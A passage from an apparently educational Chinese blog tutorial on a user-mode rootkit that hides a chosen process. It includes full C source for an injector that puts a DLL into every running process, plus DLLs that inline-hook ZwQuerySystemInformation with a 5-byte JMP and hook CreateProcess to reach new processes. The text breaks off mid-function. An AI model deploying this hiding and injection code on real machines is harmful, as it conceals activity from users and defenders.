API钩取:进程的隐藏与全局钩取

概述:

经过上一篇文章对DLL注入实现API钩取的学习,现在已经对API钩取有了一个全局上的认知。对实现API钩取的几种方法都有了一定了解。本篇文章将分享有关于进程隐藏功能的代码实现。

本篇分享的源码总共有三个版本,分别是:stealth.dll stalth2.dll stealth3.dll,完成的功能都是进程隐藏,但是在功能的完整程度上是逐步完善的。

原理:

首先是关于什么叫做进程隐藏,其实进程隐藏顾名思义就是将某个进程隐藏起来,无法通过其他进程查看到这个进程。这样的一个过程就叫做进程隐藏,专业术语是Rootkit。而这个操作的根本原理就是通过API钩取来实现的。

在前面学习了对IAT中API进行钩取后,就会存在这样一个问题:如果我们需要钩取的目标API不存在与IAT表,那么应该怎么办?

这里就要使用API代码修改这个方法了。顾名思义,API代码修改就是将API函数的原始代码进行一定修改(也就是完成挂钩操作),使程序的执行流被劫持到我们自己编写的函数中实现我们期望的功能。

而这个挂钩操作具体的实现主要分为两类:

  1. 5字节钩取

  2. 7字节钩取

但是这两类挂钩操作的具体实现原理基本上是一致的,都是通过将原始API的起始流程修改为一个无条件跳转指令来控制程序的执行流。比如在5字节钩取时,就是将API函数的起始操作替换为JMP XXXXXXX,下面将会对这两种钩取方法分别用代码实现来表现。

寻找目标API:

由于进程是内核对象,所以在用户模式下的程序可以通过某些API检测到系统中的所有进程,根据前面的学习,可以知道常用的API主要有这两个:

  1. CreateToolhelp32Snapshot:获取系统快照,其中包含了所有的进程信息

  2. EnumProcess:枚举所有的进程信息

根据网上的信息,这两个API都在内部调用了一个叫做ZwQuerySystemInformation的API函数。而这个API函数就是此次操作的目标函数。

ZwQuerySystemInformation()可以获取运行中的所有进程信息(在Windows编程中被解释为一个结构体:_SYSTEM_PROCESS_INFORMATION),每个进程的结构体会形成一个单向链表,可以通过遍历这个链表来遍历系统中所有的进程信息。之后只需要查找到这个进程链表中需要隐藏的目标进程的相关信息就可以通过在链表中跳过这个成员的信息就可以达到“进程隐藏”的效果

HideProc.exe:

首先是注入程序的注释及源码:

#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"

enum Mode //定义一个枚举类型,分为注入和卸载两种情况
{
INJECT_MODE = 0, EJECT_MODE
};

typedef void(*PFSetProcName) (LPCTSTR lpProcName); //typedef一个void类型的函数指针,后面用于在本程序中调用SetProcName函数

BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!n");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!n");
return TRUE;
}

}

BOOL inject(DWORD dwPID, LPCTSTR szDllPath) //注入函数
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

DWORD dwError = 0;

if (!(hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
dwError = GetLastError();
printf("OpenProcess failed!n");
return FALSE;
}

lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存

WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数(即DLL路径)

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程

if (!hThread)
{
printf("CreateRemoteThread failed!n");
CloseHandle(hProcess);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间

CloseHandle(hProcess);
CloseHandle(hThread);

return TRUE;
}

BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) //卸载DLL函数
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
BOOL bMore = FALSE;
BOOL bFound = FALSE;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me = {sizeof(MODULEENTRY32)};

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!n");
return FALSE;
}

if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed!n");
CloseHandle(hProcess);
return FALSE;
}

bMore = Module32First(hSnapshot, &me);
for (; bMore;bMore = Module32Next(hSnapshot, &me)) //遍历目标进程模块列表找到目标进程中是否载入了该DLL
{
if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath))
{
bFound = TRUE;
break;
}
}

if (!bFound)
{
printf("Dll no found!n");
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return FALSE;
}

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);

if (!hThread)
{
printf("Eject failed!n");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);

CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);

return TRUE;
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) //统括管理注入函数与卸载函数,完成在每一个进程中注入或是卸载DLL
{
DWORD dwPID = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };

if (!(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL))) //拍摄所有进程的快照
{
printf("CreateToolhelp32Snapshot failed!n");
return FALSE;
}

Process32First(hSnapshot, &pe);

do
{
dwPID = pe.th32ProcessID;

if (dwPID < 100) //对于PID小于100的系统进程略过注入操作,防止系统安全性受影响
continue;
if (nMode == INJECT_MODE)
{
if (!(inject(dwPID, szDllPath)))
{
printf("%d inject failed!n", dwPID);
}
}
else if (nMode == EJECT_MODE)
{
if (!Eject(dwPID, szDllPath))
{
printf("%d Eject failed!n", dwPID);
}
}
} while (Process32Next(hSnapshot, &pe));

CloseHandle(hSnapshot);

return TRUE;
}

int _tmain(int argc, TCHAR* argv[])
{
int nMode = 0;
HMODULE hModule = NULL;
PFSetProcName SetProcName = NULL;

EnableDebugPriv();

hModule = LoadLibrary(argv[3]); //加载stealth.dll
SetProcName = (PFSetProcName)GetProcAddress(hModule, "SetProcName"); //从stealth.dll中获取SetProcName函数的真实地址

SetProcName(argv[2]); //在注入程序中调用SetProcName,将需要隐藏的目标进程的名字存入DLL文件的全局变量中
//在DLL中会设置共享内存区域,所以这里可以直接调用该函数设置目标进程的名字

if (!_wcsicmp(argv[1], L"hide"))
{
nMode = INJECT_MODE;
InjectAllProcess(nMode, argv[3]);
}
else if(!_wcsicmp(argv[1],L"show"))
{
nMode = EJECT_MODE;
InjectAllProcess(nMode, argv[3]);
}

FreeLibrary(hModule);

return 0;
}

程序的主要功能就是完成注入DLL和卸载DLL的操作。inject和Eject的操作在前面的文章中已经解析过了,这里只放源码就不在做过多赘述。

stealth.dll:

首先是源码和对应注释:

#include "windows.h"
#include "tchar.h"
#include "stdio.h"

#define DLLNAME (L"ntdll.dll")
#define FUNCNAME ("ZwQuerySystemInformation")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0

#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, }; //设置一个共享节区,与注入程序共享需要隐藏进程的名称字符串
#pragma data_seg()

BYTE g_OrgBytes[5] = { 0, }; //全局变量用于存储目标API位置上的原始字节

//typedef LONG NTSTATUS;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明,后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

BOOL hook_code(LPCTSTR szDllName,LPCSTR szFuncName,PROC prNew,PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;

prOrg = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用

if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;

VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限(因为JMP指令只有5个字节)
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置(JMP指令跳转的位置不是绝对地址,而是与当前位置的相对地址)
//相对位置 = 目标位置 - 当前位置 - 指令长度(5字节)
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限

return TRUE;
}

BOOL unhook_code(LPCTSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;

pFunc = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;

if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

unhook_code(DLLNAME, FUNCNAME, g_OrgBytes); //先进行脱钩

pFunc = GetProcAddress(GetModuleHandle(DLLNAME), FUNCNAME); //获取原始API的地址

//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}

if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换,现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;

while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
//当找到目标进程时有两种情况:1.下一个节点为0,也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;

pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}

__NTQUERYSYSTEMINFORMATION_END:

// 函数终止前,再次执行API钩取操作,为下次调用准备
hook_code(DLLNAME, FUNCNAME, (PROC)NewZwQuerySystemInformation, g_OrgBytes);

return status;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0,};
char* p = NULL;

GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);

//1.异常处理:如果当前进程名字为HideProc.exe(即注入程序),则终止,不进行钩取。
p = strrchr(szCurentProcName, '\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc.exe"))
return TRUE;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code(DLLNAME, FUNCNAME, (PROC)NewZwQuerySystemInformation, g_OrgBytes);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩,恢复其原始形态
unhook_code(DLLNAME, FUNCNAME, g_OrgBytes);
break;
}
return TRUE;
}

#ifdef __cplusplus //导出函数,即在HideProc.exe中使用到的用于设置g_szProcName的SetProcName函数
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName) //设置导出函数SetProcName,给共享全局变量赋值
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif

程序的逻辑大概如下:

  1. 挂钩函数(hook_code)

  2. 脱钩函数(unhook_code)

  3. 钩取后重定义的目标API函数(NewZwQuerySystemInformation)

  4. 进行挂钩和脱钩的主函数(DllMain)

下面将对这些函数中比较重要的部分进行解析

hook_code(unhook_code):

挂钩与脱钩函数的逻辑和操作比较简单,没有需要特别注意的地方,主要是关于API修改的内容。

由于是要将原始API函数起始的5个字节修改为相应的跳转指令,而无条件跳转指令JMP的机器指令对应的是0xE9,所以在函数中的这个部分:

byte Buf[5] = { 0xE9,0, };

就是对应的跳转指令开始的部分。

还有就是有关具体跳转地址的计算(也就是对应dwAddress)的计算:

跳转地址 = 目标跳转地址 - 当前位置地址 - 指令长度(5字节)

这里可能会有一个问题就是为什么这里的JMP跳转的地址不是直接设置为目标跳转地址呢?

这是由于程序内的跳转是依据当前地址的相对地址进行跳转,而不是直接设置绝对地址进行跳转。

NewZwQuerySystemInformation:

源码中比较重要的部分就是关于ZwQuerySystemInformation被钩取后执行的自定义函数,也就是NewZwQuerySystemInformation,原始的API函数结构大概如下:

NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

这个函数需要调用的四个参数中有两个是自定义的结构体:

  • SystemInformationClass

  • SystemInformation

分别对应:

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

以及:

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

第一个枚举类型的结构体会根据API的执行结果得到SystemInformation的数据类型,比如在本次操作中所需要的数据类型就是SystemProcessInformation,对应的数值为5。

而第二个数据结构就是储存有关于系统中每个进程的信息,在API函数执行后就可以通过遍历这个数据结构构成的单向链表来找到对应目标进程的进程信息。

共享节区:

在程序还会发现有这样一段代码:

#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()

这是通过设置共享节区的方式与其他程序进行数据的共享。

总所周知,每个程序运行的内存空间在逻辑上是相互隔离的,以保证每个程序数据的独立以及安全。但是如果要在其他程序中调用本程序的数据(比如本次操作中需要将命令行内获得的需要隐藏的目标进程名共享给注入的DLL),可以通过在程序中设置一个共享上的数据节区来完成这个功能。具体写法参考本源码中的这一部分。

HideProc2.exe:

下面进行的注入和卸载操作进行了一定优化,使用一个另一个版本的注入代码,其源码大概如下:

#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"

enum Mode //定义一个枚举类型,分为注入和卸载两种情况
{
INJECT_MODE = 0, EJECT_MODE
};


BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!n");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!n");
return TRUE;
}

}

BOOL inject(DWORD dwPID, LPCTSTR szDllPath) //注入函数
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

DWORD dwError = 0;

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
dwError = GetLastError();
printf("OpenProcess failed!n");
return FALSE;
}

lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存

WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数(即DLL路径)

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程

if (!hThread)
{
printf("CreateRemoteThread failed!n");
CloseHandle(hProcess);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间

CloseHandle(hProcess);
CloseHandle(hThread);

return TRUE;
}

BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) //卸载DLL函数
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
BOOL bMore = FALSE;
BOOL bFound = FALSE;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!n");
return FALSE;
}

if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed!n");
CloseHandle(hProcess);
return FALSE;
}

bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) //遍历目标进程模块列表找到目标进程中是否载入了该DLL
{
if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath))
{
bFound = TRUE;
break;
}
}

if (!bFound)
{
printf("Dll no found!n");
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return FALSE;
}

pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");

hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);

if (!hThread)
{
printf("Eject failed!n");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);

CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);

return TRUE;
}

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) //统括管理注入函数与卸载函数,完成在每一个进程中注入或是卸载DLL
{
DWORD dwPID = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };

if (!(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL))) //拍摄所有进程的快照
{
printf("CreateToolhelp32Snapshot failed!n");
return FALSE;
}

Process32First(hSnapshot, &pe);

do
{
dwPID = pe.th32ProcessID;

if (dwPID < 100) //对于PID小于100的系统进程略过注入操作,防止系统安全性受影响
continue;
if (nMode == INJECT_MODE)
{
if (!(inject(dwPID, szDllPath)))
{
printf("%d inject failed!n", dwPID);
}
}
else if (nMode == EJECT_MODE)
{
if (!Eject(dwPID, szDllPath))
{
printf("%d Eject failed!n", dwPID);
}
}
} while (Process32Next(hSnapshot, &pe));

CloseHandle(hSnapshot);

return TRUE;
}

int _tmain(int argc, TCHAR* argv[])
{
int nMode = 0;

EnableDebugPriv();

if (!_wcsicmp(argv[1], L"hide"))
{
nMode = INJECT_MODE;
InjectAllProcess(nMode, argv[2]);
}
else if (!_wcsicmp(argv[1], L"show"))
{
nMode = EJECT_MODE;
InjectAllProcess(nMode, argv[2]);
}

return 0;
}

stealth2.dll:

通过研究上面的stealth.dll的代码会发现一个问题,这里实现的钩取是只针对于系统现在打开的进程,也就是说,当新打开查看其他进程的程序时,是没有注入对应的DLL;进程隐藏的效果就消失了。stealth2.dll的目的就是改进这个功能。

如果要实现这个功能的话就要进行全局钩取了,也就是对系统中所有运行的进程已经将要运行(还没有被实际创建)的进程附加注入效果。要完成这个操作就需要在stealth.dll的基础上再钩取一个API:CreateProcess()。

CreateProcess,顾名思义可以知道这是有关于进程创建的API,它属于kernel32.dll这个库。并且,他拥有A/W两个版本(也就是ASCII版本和Unicode版本),所以当钩取这个API时要注意同时钩取两个版本的API函数。

当对CreateProcess完成钩取后,系统创建新进程的过程就会被截获,此时只需要对新创建的进程中再次注入DLL即可

根据网上对这个函数的逆向分析可以知道它其实调用了一个更加底层的API:ntdll.ZwResumeThread(),它只有一个版本的形态所以在某种意义上钩取这个函数是更加合适的。但是这API属于是未被正式公开的API,根据版本可能会发生变化,所以本次操作还是对CreateProcess进行钩取。

首先还是给出相应源码以及注释:

#include "windows.h"
#include "tchar.h"
#include "stdio.h"

#define INJECT_DLL (L"stealth2.dll")
#define PROC_TO_HIDE (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0

BYTE g_OrgByteZwQSI[5] = { 0, };
BYTE g_OrgByteCPA[5] = { 0, };
BYTE g_OrgByteCPW[5] = { 0, };

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明,后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

typedef BOOL(WINAPI* PFCREATEPROCESSA)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessA的函数声明

typedef BOOL(WINAPI* PFCREATEPROCESSW)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessW的函数声明

BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;

prOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用

if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;

VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限(因为JMP指令只有5个字节)
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置(JMP指令跳转的位置不是绝对地址,而是与当前位置的相对地址)
//相对位置 = 目标位置 - 当前位置 - 指令长度(5字节)
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限

return TRUE;
}

BOOL unhook_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;

pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;

if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;

VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!n");
return FALSE;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!n");
return TRUE;
}

}

BOOL inject(HANDLE hProcess, LPCTSTR szDllPath) //后面钩取CreateProcess后要在这个DLL内将DLL再次注入新创建的进程
{
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

